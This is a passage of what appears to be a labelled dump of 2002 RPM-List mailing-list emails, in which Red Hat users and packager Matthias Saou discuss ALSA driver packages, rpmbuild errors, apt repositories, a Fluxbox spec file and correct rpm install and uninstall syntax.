""alsa-driver"" is there for, create all the base files excluding the kernel drivers. What I would suggest for dependency reasons it to install an ""alsa-kernel"" for the original kernel (you've kept it, right? ;-)) and install ALSA modules from source for custom kernels built from source. > Then wanted to make my own rpm for 2.4.19, so now I'm trying to rpmbuild > the alsa-kernel package. Removed all alsa rpms, and tried my spec: > > rpmbuild --ba alsa-driver.spec.mine --without oss --without isapnp > --without kernsrc > > But I get this: > > ==[long successful compile snipped]===================================== > RPM build errors: > File listed twice: /dev/adsp > File listed twice: /dev/amidi > Installed (but unpackaged) file(s) found: > /etc/makedev.d/00macros > /etc/rc.d/init.d/alsasound > ======================================================================== > > Oh, and I think I've forgot to mention, I'm running beta-null :). Indeed : The rpm 4.1 snapshot in (null) has a few new features among which having the build fail when files are present in the build root but not listed in the %files section. I should remove them manually as part of the build process... or maybe the new ""%exclude /path/to/file"" in the %files section would do, but I don't know how older versions of rpm would handle it. On my (null) build system, I've simply set the variable : %_unpackaged_files_terminate_build 0 Matthias -- Matthias Saou World Trade Center ------------- Edificio Norte 4 Planta System and Network Engineer 08039 Barcelona, Spain Electronic Group Interactive Phone : +34 936 00 23 23 _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Daniel Pavel ,rpm-zzzlist@freshrpms.net,"Thu, 29 Aug 2002 13:56:45 +0300",Re: ALSA (almost) made easy,"Matthias Saou wrote: > OK, I'll add this. Cool :) > Requiring a file that isn't part of an rpm is not possible, no, except > maybe by stopping the build process if it isn't found... but that's errr... > ugly! > And I really think that for people who installed a kernel from sources, the > easiest is to install the alsa kernel drivers from source too... Yes, it is... But then alsa-driver requires alsa-kernel, and I don't quite like --nodeps... > This would be a tricky one since to use the ""--with "" feature of > rpmbuild, I think you'd need to add individual handling of each and every > card :-/ That's ok. I was only considering it for the sake of tweaking anyway, not for some real-world need :). > That's what the ""alsa-driver"" is there for, create all the base files > excluding the kernel drivers. What I would suggest for dependency reasons > it to install an ""alsa-kernel"" for the original kernel (you've kept it, > right? ;-)) and install ALSA modules from source for custom kernels built > from source. Um... I keep 2.4.18-12.2 for emergency sitations (like I forget to include keyboard support in kernel, dumb me), but alsa-kernel_2.4.18-10 does not require kernel-2.4.18-10, so that's ok. > Matthias -silent -- ... And on the seventh day, God was arrested for tresspassing. _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Saou ,rpm-zzzlist@freshrpms.net,"Thu, 29 Aug 2002 14:22:52 +0200",Re: /home/dude,"Once upon a time, Axel wrote : > I am now relaxed again ;), and pass this info on. Probably Matthias Saou > himself is ""dude"", and some package has hardwired a path in his build > directory. It would be nice to find out which and fix it, but I am using > too many of the freshrpm suite to narrow it down. Indeed, my usual login is ""dude"" (and has been since long before ""The Big Lebowsky"" came out ;-)), and it seems the some programs wrongly hard code my home directory when being compiled :-( For instance : [dude@python dude]$ strings /usr/bin/gentoo | grep dude /home/dude/ [dude@python dude]$ strings /usr/bin/xine | grep dude /home/dude/redhat/tmp/xine-root/usr/share/locale These should probably be considered bugs in the program's build process (especially for xine, look at that!), I'll report them upstream if/when I have some time. Thanks for noticing this! Matthias -- Matthias Saou World Trade Center ------------- Edificio Norte 4 Planta System and Network Engineer 08039 Barcelona, Spain Electronic Group Interactive Phone : +34 936 00 23 23 _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Ville =?ISO-8859-1?Q?Skytt=E4?= ,rpm-zzzlist@freshrpms.net,01 Sep 2002 14:22:23 +0300,gkrellm 2 plugins?,"Hi Matthias, I think I could do help you out with new plugins package for gkrellm 2. Would you prefer to keep it as it is now, or package every plugin separately? The latter would be probably easier to maintain. -- \/ille Skytt ville.skytta at iki.fi _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 """"" Angles "" Puglisi"" ","""Lance"" ","Tue, 03 Sep 2002 07:21:19 +0000",Re: thanks for the gamix source rpms! [ALSA stuff],"I wish I could answer your question but my laptop does not have the digital stuff hooked up :( so I so not know about it. I have an excellent ESS Maestro3 which OSS supports pretty lame so I was forced to learn about ALSA. I have used these commands to explore ALSA and my chip: arecord -l (list devices) arecord -L (list PCM decices) I get some output like this: > arecord -l card 0: MAESTRO3 [ESS Allegro PCI], device 0: Allegro [Allegro] Subdevices: 1/1 Subdevice #0: subdevice #0 > arecord -L PCM list: (SNIP - craploads of output) I noticed that the output from this commands kind of maps to what the alsamixer or gamix have. For what it is worth, here is what I have in modules.conf for my sound stuff: > ## ALSA portion > alias char-major-116 snd > ## OSS/Free portion > alias char-major-14 soundcore > > ## ALSA portion > alias snd-card-0 snd-maestro3 > ## OSS/Free portion > alias sound-slot-0 snd-card-0 > > ## OSS/Free portion - card #1 > alias sound-service-0-0 snd-mixer-oss > # BAD alias sound-service-0-1 snd-seq-oss > alias sound-service-0-3 snd-pcm-oss > # BAD alias sound-service-0-8 snd-seq-oss > alias sound-service-0-12 snd-pcm-oss > # > ## ALSA Options (optional) > options snd snd_major=116 snd_cards_limit=1 snd_device_mode=0666 > options snd-maestro3 snd_index=0 snd_id=MAESTRO3 snd_amp_gpio=8 > # > ## OSS Options (optional) > alias snd-card-1 off > alias snd-card-2 off > alias snd-card-3 off > alias sound-slot-1 off > alias sound-service-1-0 off > > ## Preserve Mixer Settings > #post-install /usr/sbin/alsactl restore MAESTRO3 > #pre-remove /usr/sbin/alsactl store MAESTRO3 > post-install /usr/sbin/alsactl restore > pre-remove /usr/sbin/alsactl store Hope that helps, good luck. Lance (lance_tt@bellsouth.net) wrote*: > >Hello, > >Thanks for these rpms, I removed the binary built from source (.tar.gz) >and installed your SRPM of gamix. One quick question, is there a way to >switch between digital out and analog out with the ALSA driver and >utilities, or, for that matter, with gamix? I know with the OSS drivers >I was using it was as simple as 'emu-config -d for digital and >emu-config -a for analog, with the emu-tools package for SBLive! I >noticed there is SB Live Analog/Digital Output Jack in alsamixer but >haven't figured out the key to use, if this is the right control in >mixer. Also, I tried to expand gamix to display all possible controls >but it defaults back to 'Wave' and 'Music' With LFE, Center, Surround >and Playback under Wave (this is how I control output of front and rear >speakers for digital out...'Surround' and 'Playback') Under 'Music' >there are two controls but unresponsive. I have a tuner and cassette >deck hooked up to an audio/video switch that goes into 'Line In' on the >soundcard. Again, with the OSS drivers, it was as simple as emu-config >-d and emu-config -a. Digital out for anything coming from the >computer, analog out for the tuner and cassette deck. I don't know if >this is necessary to switch inbetween to get 'Line In' to work or not, >but an expansion of gamix would help, where I could see all the >controls.... > >Any help would be greatly appreciated and thanks again for the gamix >rpms. > >Kind Regards, > >Lance >-- >: >####[ Linux One Stanza Tip (LOST) ]########################### > >Sub : Command line shortcuts (clear) LOST #310 > >Tired of typing in ""clear"" every time you want the screen to >be cleared ? Press [Ctrl-L] ... This works for most shells, >(except for ash, bsh and ksh) > >############################################# >: > -- That's ""angle"" as in geometry. _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 che ,rpm-zzzlist@freshrpms.net,"Wed, 4 Sep 2002 07:55:04 -0400",d4x 2.03 package,"Hello! i have just found a small issue with the downloader 4 x update. the ftp search engines are missing something like: %{_datadir}/d4x/ftpsearch.xml thanks in advance, che p.s. i love the xmms-xosd plugin :) _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Doug Stewart ,rpm-zzzlist@freshrpms.net,"Wed, 4 Sep 2002 12:00:59 -0700 (PDT)",Fluxbox,"I've noted that there are packaged versions of Blackbox and hackedbox available from FreshRPMs. What about FluxBox? http://fluxbox.sf.net I'd certainly enjoy a packaged version, since its creators seem hesitant to provide .rpms (.debs, yes, but no .rpms). .Doug __________________________________________________ Do You Yahoo!? Yahoo! Finance - Get real-time stock quotes http://finance.yahoo.com _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Nick Verhaegen ,rpm-zzzlist@freshrpms.net,"Wed, 4 Sep 2002 23:56:48 +0200",Re: Fluxbox,"--------------Boundary-00=_OYOXHTVA0T2X8R5S233Y Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Hi, =09I made a spec file for it some weeks ago, maybe it can be included in = fresh.=20 If not, at least you can use it... I'm attaching it here... Hope it might be some use for you, does the trick for me. Might be an old= =20 version though, but should still work Nick On Wednesday 04 September 2002 21:00, Doug Stewart wrote: > I've noted that there are packaged versions of > Blackbox and hackedbox available from FreshRPMs. What > about FluxBox? http://fluxbox.sf.net > > I'd certainly enjoy a packaged version, since its > creators seem hesitant to provide .rpms (.debs, yes, > but no .rpms). > > .Doug > > __________________________________________________ > Do You Yahoo!? > Yahoo! Finance - Get real-time stock quotes > http://finance.yahoo.com > > _______________________________________________ > RPM-List mailing list > http://lists.freshrpms.net/mailman/listinfo/rpm-list --------------Boundary-00=_OYOXHTVA0T2X8R5S233Y Content-Type: text/plain; charset=""iso-8859-1""; name=""fluxbox.spec"" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename=""fluxbox.spec"" Summary: Blackbox derived window manager Name: fluxbox Version: 0.1.10 Release: nv1 License: other Group: User Interface/Desktops Source: http://prdownloads.sourceforge.net/fluxbox/%{name}-%{version}.tar.gz URL: http://fluxbox.sourceforge.net BuildRoot: %{_tmppath}/%{name}-root BuildRequires: XFree86-devel, libstdc++-devel %description Fluxbox is yet another windowmanager for X. It's based on the Blackbox 0.61.1 code. Fluxbox looks like blackbox and handles styles, colors, window placement and similar thing exactly like blackbox (100% theme/style compability). Many changes and improvements have been made to the code, such as window tabs, iconbar, native keygrabber, gnome and kde support etc. %prep %setup -q %build %configure --enable-xinerama --enable-gnome --enable-kde make %install rm -rf %{buildroot} %makeinstall %clean rm -rf %{buildroot} %files %defattr(-, root, root) %doc README NEWS COPYING AUTHORS INSTALL TODO doc/Coding_style %{_bindir}/* %{_datadir}/%{name} %{_mandir}/man1/* %changelog * Thu Jul 19 2002 Nick Verhaegen - Update to 0.1.10 * Tue Jul 9 2002 Nick Verhaegen - Initial RPM release. --------------Boundary-00=_OYOXHTVA0T2X8R5S233Y-- _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 """"" Angles "" Puglisi"" ","""FreshRPMs List"" ","Thu, 05 Sep 2002 07:11:23 +0000",apt and a hybrid system,"Back when I had regular RH7.3 there was nothing better than ""apt-get upgrade"". But now I'm running (null) beta and I have these questions: which version of ""apt"" can I use, the RH7.3 version or the ""rawhide"" version? Is there a way to use apt to update (null) with the rpms available for (null) through up2date, since I prefer apt to that? If I can use apt, can I use it to get updates from these 3 different places: 1. the (null) up2date Redhat upgrades 2. the (null) files at Freshrpms.net 3. the regular RH7.3 files from freshrpms.net Am I asking for too much simplicity in this complicated world? -- That's ""angle"" as in geometry. _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Axel Thimm ,rpm-zzzlist@freshrpms.net,"Thu, 5 Sep 2002 12:32:58 +0200",Re: apt and a hybrid system,"On Thu, Sep 05, 2002 at 07:11:23AM +0000, Angles Puglisi wrote: > If I can use apt, can I use it to get updates from these 3 different places: > 1. the (null) up2date Redhat upgrades > 2. the (null) files at Freshrpms.net > 3. the regular RH7.3 files from freshrpms.net You could build your own apt-repository. Just mirror the needed directories (e.g. by using a wget cron job), symlink the needed rpms and recreate the repository. It is already worth the trouble, if you have more than one installation. In any case in order to acces the mentioned places, somebody must keep such a repository up to date, be it yourself or someone else. -- Axel.Thimm@physik.fu-berlin.de _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Harri Haataja ,rpm-zzzlist@freshrpms.net,"Thu, 5 Sep 2002 14:36:39 +0300",Re: apt and a hybrid system,"On Thu, Sep 05, 2002 at 12:32:58PM +0200, Axel Thimm wrote: > On Thu, Sep 05, 2002 at 07:11:23AM +0000, Angles Puglisi wrote: > > If I can use apt, can I use it to get updates from these 3 different > > places: > > 1. the (null) up2date Redhat upgrades > > 2. the (null) files at Freshrpms.net > > 3. the regular RH7.3 files from freshrpms.net > You could build your own apt-repository. Just mirror the needed > directories (e.g. by using a wget cron job), symlink the needed rpms > and recreate the repository. It is already worth the trouble, if you > have more than one installation. Always nice to have one to put stuff that overrides RH things. Like if you absolutely detest qt and some programs are rebuildable from sources with different %configure options. You can get src.rpm, edit spec, bump release numberwith your initials and another number and rebuild, insert into apt and let loose... :) Doesn't freshrpms have updates dir too? Maybe not quite as up to date as up2date but still. I would never use up2date. There is another repository at apt-rpm.tuxfamily.org IIRC. Not sure if that had The updates. _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 """"" Angles "" Puglisi"" ","""FreshRPMs List"" ","Thu, 05 Sep 2002 11:49:41 +0000",alsaplayer for (null),"I spun another AlsaPlayer build, this time on my (null) box. I do not know what this means but the Curl stuff compiled in this time. It's sounding damn cool with the new alsa drivers. Thanks to Matthias for the Alsa RPMS. Great job bring sound to the masses. http://www.dudex.net/rpms/alsaplayer-0.99.71-aap2.i386.rpm http://www.dudex.net/rpms/alsaplayer-0.99.71-aap2.i686.rpm http://www.dudex.net/rpms/alsaplayer-0.99.71-aap2.src.rpm http://www.dudex.net/rpms/alsaplayer-0.99.71.spec -- That's ""angle"" as in geometry. _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Stephen Liu ,rpm-zzzlist@freshrpms.net,"Fri, 6 Sep 2002 15:00:31 +0800",Apt-get question,"Hi All Folks, I have 'APT' installed and updated from 'freshmeat.net. But I failed using it # apt-get install /mnt/cdrom/Linux/CDBurner/cdrtools-cdrecord-1.11a23-1.i386.rpm Processing File Dependencies... Done Reading Package Lists... Done Building Dependency Tree... Done E: Couldn't find package /mnt/cdrom/Linux/CDBurner/cdrtools-cdrecord-1.11a23-1.i386.rpm The file 'cdrtools-cdrecord-1.11a23-1.i386.rpm' is there I performed another test copying the file 'cdrtools-cdrecord-1.11a23-1.i386.rpm' to /root/Download # apt-get install /root/Download/cdrtools-cdrecord-1.11a23-1.i386.rpm Processing File Dependencies... Done Reading Package Lists... Done Building Dependency Tree... Done E: Couldn't find package /root/Download/cdrtools-cdrecord-1.11a23-1.i386.rpm Still failed. Finally I rpm 'cdrtools-cdrecord-1.11a23-1.i386.rpm' from the CD and suceeded. Kindly advise what mistake I have committed. Thanks in advance. Stephen Liu _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Saou ,rpm-zzzlist@freshrpms.net,"Fri, 6 Sep 2002 10:34:55 +0200",Re: Apt-get question,"Once upon a time, Stephen wrote : > # apt-get install > /mnt/cdrom/Linux/CDBurner/cdrtools-cdrecord-1.11a23-1.i386.rpm This is not how apt is meant to be used, see Gordon's answer to your post on the Valhalla list for details. Matthias -- Matthias Saou World Trade Center ------------- Edificio Norte 4 Planta System and Network Engineer 08039 Barcelona, Spain Electronic Group Interactive Phone : +34 936 00 23 23 _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Laurent Papier ,rpm-zzzlist@freshrpms.net,"Fri, 6 Sep 2002 01:04:37 +0200",Pb with mplayer-0.90pre7,"Hi, this is my first problem with one of the freshrpms rpms ... I just upgrade mplayer and now I get $ mplayer mplayer: error while loading shared libraries: libdvdnav.so.1: cannot open shared object file: No such file or directory I guess Matthias has forgotten libdvdnav dependency. -- They told me I needed WIN95 or better So I chose Linux! _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 rob bains ,rpm-zzzlist@freshrpms.net,"Thu, 31 Jan 2002 22:44:14 -0700",Please help a newbie compile mplayer :-),"Hello, I just installed redhat 7.2 and I think I have everything working properly. Anyway I want to install mplayer because I heard it can play quicktime movs. I apt-get source mplayer and dl'd it to /usr/src. I tried to just rpm --rebuild mplayer-20020106-fr1.src.rpm, then I get ; mplayer-20020106-fr1.src.rpm: No such file or directory. Any help or a link to some document would be appreciated, Thanks -rob _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Lance ,rpm-zzzlist@freshrpms.net,01 Feb 2002 00:53:41 -0600,Re: Please help a newbie compile mplayer :-),"Make sure you rebuild as root and you're in the directory that you downloaded the file. Also it might complain of a few dependencies but you can get these at freshrpms.net, except for gcc3, which you can find on your Red Hat cd, Red Hat ftp, or rpmfind.net. After you rebuild the source rpm it should install a binary rpm in /usr/src/redhat/RPMS/i386. With all dependencies met, install mplayer with 'rpm -ivh mplayer-20020106-fr1.rpm' and you should be good to go. One last thing, you will need the win32 codecs, I found them on google, create a directory /usr/lib/win32 and place the codecs in there. Good Luck! Lance On Thu, 2002-01-31 at 23:44, rob bains wrote: > > Hello, > > I just installed redhat 7.2 and I think I have everything > working properly. Anyway I want to install mplayer because I heard it > can play quicktime movs. I apt-get source mplayer and dl'd it to > /usr/src. > > I tried to just rpm --rebuild mplayer-20020106-fr1.src.rpm, > then I get ; mplayer-20020106-fr1.src.rpm: No such file or directory. > > Any help or a link to some document would be appreciated, Thanks > -rob > > > _______________________________________________ > RPM-List mailing list > http://lists.freshrpms.net/mailman/listinfo/rpm-list _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 rob bains ,rpm-zzzlist@freshrpms.net,"Fri, 01 Feb 2002 02:01:44 -0700",Re: Please help a newbie compile mplayer :-),"Lance wrote: >Make sure you rebuild as root and you're in the directory that you >downloaded the file. Also it might complain of a few dependencies but >you can get these at freshrpms.net, except for gcc3, which you can find >on your Red Hat cd, Red Hat ftp, or rpmfind.net. > >After you rebuild the source rpm it should install a binary rpm in >/usr/src/redhat/RPMS/i386. With all dependencies met, install mplayer >with 'rpm -ivh mplayer-20020106-fr1.rpm' and you should be good to go. > >One last thing, you will need the win32 codecs, I found them on google, >create a directory /usr/lib/win32 and place the codecs in there. > >Good Luck! > >Lance > I dl'd gcc3 and libgcc3, but I still get the same error message when I try rpm --rebuild or recompile. I do this as root, I dl'd as root also. thanks for the help, any more idea what's going on? > >> >> >> I tried to just rpm --rebuild mplayer-20020106-fr1.src.rpm, >>then I get ; mplayer-20020106-fr1.src.rpm: No such file or directory. >> >> >> >> > > > > >_______________________________________________ >RPM-List mailing list >http://lists.freshrpms.net/mailman/listinfo/rpm-list > _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Saou ,rpm-zzzlist@freshrpms.net,"Fri, 1 Feb 2002 10:29:23 +0100",Re: Please help a newbie compile mplayer :-),"Once upon a time, rob wrote : > I dl'd gcc3 and libgcc3, but I still get the same error message when I > try rpm --rebuild or recompile. I do this as root, I dl'd as root also. > > thanks for the help, any more idea what's going on? I've never installed source rpms with apt, but I suppose that if you get file not found, it's because the source rpm was installed. To see if this is the case, go to /usr/src/redhat/SPECS/ and if you see mplayer.spec, you'll just need to do ""rpm -bb mplayer.spec"" to get a binary build in /usr/src/redhat/RPMS/i386/ Matthias -- Matthias Saou World Trade Center ------------- Edificio Norte 4 Planta System and Network Engineer 08039 Barcelona, Spain Electronic Group Interactive Phone : +34 936 00 23 23 _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Harri Haataja ,Freshrpms list ,"Fri, 1 Feb 2002 15:00:22 +0200",http://apt.nixia.no/,"--6sX45UoQRIJXqkqR Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable Title page has a login screen and I can't seem to get the apt indexes anymore. Is it just me or is something going on there? --=20 Additive E120 - ""not suitable for vegetarians"". http://www.bryngollie.freeserve.co.uk/E120.htm --6sX45UoQRIJXqkqR Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE8WpFlQF8Oi9XNck4RAtn4AKC40mgaJXP7T+go1THM7XsZ1B8pNgCfZyoy jDkvRp7pFzUF1Pw5sOuoFhY= =9TDR -----END PGP SIGNATURE----- --6sX45UoQRIJXqkqR-- _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Saou ,rpm-zzzlist@freshrpms.net,"Fri, 1 Feb 2002 15:35:41 +0100",Re: http://apt.nixia.no/,"Once upon a time, Harri wrote : > Title page has a login screen and I can't seem to get the apt indexes > anymore. Is it just me or is something going on there? You can't get the file index from here either? http://apt.nixia.no/apt/files/ During the past few days, I've experienced connection problems with that site from time to time, but for me right now it's working. Matthias -- Matthias Saou World Trade Center ------------- Edificio Norte 4 Planta System and Network Engineer 08039 Barcelona, Spain Electronic Group Interactive Phone : +34 936 00 23 23 _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Harri Haataja ,rpm-zzzlist@freshrpms.net,"Fri, 1 Feb 2002 16:54:35 +0200",Re: http://apt.nixia.no/,"--yLVHuoLXiP9kZBkt Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Fri, Feb 01, 2002 at 03:35:41PM +0100, Matthias Saou wrote: > Once upon a time, Harri wrote : >=20 > > Title page has a login screen and I can't seem to get the apt indexes > > anymore. Is it just me or is something going on there? >=20 > You can't get the file index from here either? > http://apt.nixia.no/apt/files/ The requested URL /apt/files/ was not found on this server. > During the past few days, I've experienced connection problems with that > site from time to time, but for me right now it's working. Maybe it's temporary :-/ --=20 Win a live rat for your mother-in-law! --yLVHuoLXiP9kZBkt Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE8WqwpQF8Oi9XNck4RAmDLAJ9vdN7wlECYEdkP/MDwWnykFA97OQCfZxJc F7RkwD9oaZV1rg/r8p06Dmw= =OXj6 -----END PGP SIGNATURE----- --yLVHuoLXiP9kZBkt-- _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Saou ,rpm-zzzlist@freshrpms.net,"Fri, 1 Feb 2002 16:15:52 +0100",Re: http://apt.nixia.no/,"Once upon a time, Harri wrote : > > You can't get the file index from here either? > > http://apt.nixia.no/apt/files/ > > The requested URL /apt/files/ was not found on this server. Very strange then : It works fine from here, even shift-reloading and with no proxy whatsoever! > > During the past few days, I've experienced connection problems with > > that site from time to time, but for me right now it's working. > > Maybe it's temporary :-/ If you need another apt repository with Red Hat Linux 7.2 files, there are a few others. See : http://freshrpms.net/apt/ Matthias -- Matthias Saou World Trade Center ------------- Edificio Norte 4 Planta System and Network Engineer 08039 Barcelona, Spain Electronic Group Interactive Phone : +34 936 00 23 23 _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Harri Haataja ,rpm-zzzlist@freshrpms.net,"Fri, 1 Feb 2002 17:41:32 +0200",Re: http://apt.nixia.no/,"--J2SCkAp4GZ/dPZZf Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Fri, Feb 01, 2002 at 04:15:52PM +0100, Matthias Saou wrote: > Once upon a time, Harri wrote : >=20 > > > During the past few days, I've experienced connection problems with > > > that site from time to time, but for me right now it's working. > >=20 > > Maybe it's temporary :-/ >=20 > If you need another apt repository with Red Hat Linux 7.2 files, there are > a few others. See : http://freshrpms.net/apt/ I have a local one for the main and upgrades from somewhere plus my own at $ORKPLACE. blades@remiel% grep nixia /etc/apt/sources.list=20 #rpm http://apt.nixia.no redhat/7.2/i386 gnomehide #rpm-src http://apt.nixia.no redhat/7.2/i386 gnomehide Ah, that's it. They had newer gnome there --=20 ""When life hands you a lemon, make batteries =2E...then go electrocute someone."" -- Stevo, Scary Devil Monastery --J2SCkAp4GZ/dPZZf Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE8WrcrQF8Oi9XNck4RAur7AKDDRrfTI/kW7UZ1Vi0WXhPXycX4cwCgyd99 PcYli3Z2sQrAZPcG5KWF4GY= =CkwN -----END PGP SIGNATURE----- --J2SCkAp4GZ/dPZZf-- _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 """Brian French"" ","""Rpm-List at freshrpms"" ","Fri, 1 Feb 2002 12:42:02 -0500",Prob. w/ install/uninstall,"hey i have a problem: i have a rpms that i have installed that i want to uninstall, i do it like so: rpm -e [rpm package] and it gives the error: package not installed, so i install it like so: rpm -i [rpm package] and it gives the error: package already installed, so i force it to install like so: rpm -i --force [rpm package] this installs it and then i try to uninstall it again and it still gives me the same error: package not installed. How can i get it to recognize that the package is indeed installed it, and/or get it to unstall it? Thanx in advance, Brian French -French _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Saou ,rpm-zzzlist@freshrpms.net,"Fri, 1 Feb 2002 19:17:47 +0100",Re: Prob. w/ install/uninstall,"Once upon a time, Brian wrote : > hey i have a problem: > i have a rpms that i have installed that i want to uninstall, i do it > like so: > rpm -e [rpm package] > and it gives the error: package not installed, so i install it like > so: > rpm -i [rpm package] > and it gives the error: package already installed, so i force it to > install like so: > rpm -i --force [rpm package] > this installs it and then i try to uninstall it again and it still > gives me the same error: package not installed. > > How can i get it to recognize that the package is indeed installed it, > and/or get it to unstall it? You're a bit too vague on your ""[rpm package]"" here... Maybe this will help you : [root@python apg]# rpm -e apg [root@python apg]# rpm -ivh apg-1.2.13-fr1.i386.rpm Preparing... ########################################### [100%] 1:apg ########################################### [100%][root@python apg]# rpm -e apg[root@python apg]# rpm -ivh apg-1.2.13-fr1.i386.rpm Preparing... ########################################### [100%] 1:apg ########################################### [100%][root@python apg]# rpm -e apg-1.2.13-fr1[root@python apg]# rpm -ivh apg-1.2.13-fr1.i386.rpm Preparing... ########################################### [100%] 1:apg ########################################### [100%][root@python apg]# rpm -e apg-1.2.13-fr1.i386.rpm error: package apg-1.2.13-fr1.i386.rpm is not installed[root@python apg]# You can just put the name, of the name and version, and even the release, but the entire filename will not work! Matthias -- Matthias Saou World Trade Center ------------- Edificio Norte 4 Planta System and Network Engineer 08039 Barcelona, Spain Electronic Group Interactive Phone : +34 936 00 23 23 _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 """Brian French"" ",,"Fri, 1 Feb 2002 13:39:31 -0500",RE: Prob. w/ install/uninstall,"oh ok, thanx alot!! i was puttin the entire rpm package name like php-4.0.4pl1.i386.rpm that's why it wasn't working. -----Original Message----- From: rpm-zzzlist-admin@freshrpms.net [mailto:rpm-list-admin@freshrpms.net]On Behalf Of Matthias Saou (by way of Matthias Saou ) Sent: Friday, February 01, 2002 1:18 PM To: rpm-zzzlist@freshrpms.net Subject: Re: Prob. w/ install/uninstall Once upon a time, Brian wrote : > hey i have a problem: > i have a rpms that i have installed that i want to uninstall, i do it > like so: > rpm -e [rpm package] > and it gives the error: package not installed, so i install it like > so: > rpm -i [rpm package] > and it gives the error: package already installed, so i force it to > install like so: > rpm -i --force [rpm package] > this installs it and then i try to uninstall it again and it still > gives me the same error: package not installed. > > How can i get it to recognize that the package is indeed installed it, > and/or get it to unstall it? You're a bit too vague on your ""[rpm package]"" here... Maybe this will help you : [root@python apg]# rpm -e apg [root@python apg]# rpm -ivh apg-1.2.13-fr1.i386.rpm Preparing... ########################################### [100%] 1:apg ########################################### [100%][root@python apg]# rpm -e apg[root@python apg]# rpm -ivh apg-1.2.13-fr1.i386.rpm Preparing... ########################################### [100%] 1:apg ########################################### [100%][root@python apg]# rpm -e apg-1.2.13-fr1[root@python apg]# rpm -ivh apg-1.2.13-fr1.i386.rpm Preparing... ########################################### [100%] 1:apg ########################################### [100%][root@python apg]# rpm -e apg-1.2.13-fr1.i386.rpm error: package apg-1.2.13-fr1.i386.rpm is not installed[root@python apg]# You can just put the name, of the name and version, and even the release, but the entire filename will not work! Matthias -- Matthias Saou World Trade Center ------------- Edificio Norte 4 Planta System and Network Engineer 08039 Barcelona, Spain Electronic Group Interactive Phone : +34 936 00 23 23 _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Phil Morris ,rpm-zzzlist@freshrpms.net,"Fri, 1 Feb 2002 14:03:56 -0700",Re: Prob. w/ install/uninstall,"On Fri, Feb 01, 2002 at 12:42:02PM -0500, Brian French wrote: > hey i have a problem: > i have a rpms that i have installed that i want to uninstall, i do it > like so: > rpm -e [rpm package] > and it gives the error: package not installed, so i install it like > so: Its a little confusing but you install rpms like rpm -ivh packagename-0.1.1.rpm uninstalls must be done without the version info like rpm -e packagename ie: rpm -e sendmail or rpm -e sendmail-devel. give that a go and it should work np. Phil, > rpm -i [rpm package] > and it gives the error: package already installed, so i force it to > install like so: > rpm -i --force [rpm package] > this installs it and then i try to uninstall it again and it still > gives me the same error: package not installed. > > How can i get it to recognize that the package is indeed installed it, > and/or get it to unstall it? > > Thanx in advance, > Brian French > > -French > > > _______________________________________________ > RPM-List mailing list > http://lists.freshrpms.net/mailman/listinfo/rpm-list -- ""I say, bring on the brand new renaissance. 'Cause I think I'm ready. I've been shaking all night long... But my hands are steady."" Gord Downie http://www.thehip.com _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Mark Derricutt 